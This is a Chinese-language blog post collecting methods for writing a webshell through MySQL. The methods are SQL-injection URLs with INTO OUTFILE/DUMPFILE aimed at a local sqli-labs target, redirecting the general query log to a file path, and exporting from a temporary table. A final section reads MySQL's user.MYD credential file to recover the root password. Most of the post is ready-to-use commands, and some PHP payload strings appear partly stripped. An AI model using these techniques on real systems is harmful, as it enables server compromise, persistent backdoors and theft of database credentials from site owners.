基于mysql下的几种写shell方法
0x00
关于mysql下的写shell方法网上基本很多了,我原本也没打算总结总结的,毕竟网上已经很多了,不过在看 kilon 大佬的博客的时候,给我的感受就是明明一个几句话的东西,总能详细的,有条有理的记录下来,所以也正是如此,才有了这篇文章。
0x01
利用条件
- 数据库当前用户为root权限
- 知道当前网站的绝对路径
- PHP的GPC为 off状态
- 写入的那个路径存在写入权限
0x02
基于联合查询法下的两个写入方法
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’ phpinfo(); ?>‘ into outfile ‘G:/2.txt’ %23

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’‘ into dumpfile ‘G:/2.txt’ %23

0x03
非联合查询法下的写入操作
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile ‘G:/2.txt’ fields terminated by ‘ phpinfo(); ?>‘%23

0x04
基于log日志写shell法
show variables like ‘%general%’;
查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。
set global general_log = on;
开启日志监测,一般是关闭的,如果一直开,文件会很大的。
set global general_log_file = ‘G:/2.txt’;
这里设置我们需要写入的路径就可以了。
select ‘‘;
查询一个一句话,这个时候log日志里就会记录这个。
set global general_log_file = ‘D:\xampp\mysql\data\LAPTOP-SO1V6ABB.log’;
结束后,再修改为原来的路径。
set global general_log = off;
关闭下日志记录。

PS:这里有个注意事项如果是 Linux下的原始记录好像 \ 这个斜杠就可以了,如果在 win 下的的话,建议复原时用 / ,要不然好像会被过滤掉,反正我测试的时候是这个问题。。。
0x05
一个很老的创建再导出的方法,我也搞不懂为什么要有这样存在,可能是存在即合理把,肯定有它的用处。
use test;
连接 test 数据库。
drop table if exists sy;
搜索并删除存在的 sy 这个表。
create table sy(eel text not null);
建立这个sy表,然后里面一个eel的字段。
insert into sy(eel) values (‘‘);
写进入一句话
SELECT eel FROM sy INTO OUTFILE ‘G:/2.txt’;
把这句话再导出来。
DROP TABLE sy;
删除这个表。
0x06
扩展项
如果你发现一个注入点,但是这个注入点只是一个普通权限没法写 shell ,那么请不要心慌还有一个鸡肋的方法,不过有时候却很管用。
利用条件:
- 知道一个数据库用户账密
- 能进入到 phpmyadmin 下
- 一些默认文件路径位置没有更改
show variables like ‘%general%’;
查看下当前的log日志路路径,根据这个路径推算出默认的 user.MYD 路径。一般默认的位置都是在 Mysql\data\mysql\user.MYD 这个路径下,当然还有其它的默认路径,需要自己总结。

LOAD DATA LOCAL INFILE ‘D:/xampp/mysql/data/mysql/user.MYD’ INTO TABLE 表名 FIELDS TERMINATED BY ‘’;
把这个存有用户密码的配置文件导入到一个表里。


select * from text;
查询翻看记录,找到 root 密码。

ps:这里会是和上面的问题,蜜汁路径,一定要用 / 而不是 \ 这是在win下面的,还有个问题就是表里的属性一定要为 varchar() 这个,而且还容易出现导入不全的问题,多试下还是可以的。

那剩下的就不多说了,都懂,都懂。(^▽^)
0x07
很实用的几个常规写shell法,当然还有一些其他的什么的,计划任务加mysql写shell啊,Linux常规命令加mysql写shell,很多很多,总体来说的话,也就是把基础功能利用起来。
在立个flag把,下一篇博文,更新关于端口转发这类的研究,毕竟我也是花了好几天把kilon大佬博客看完的渗透师。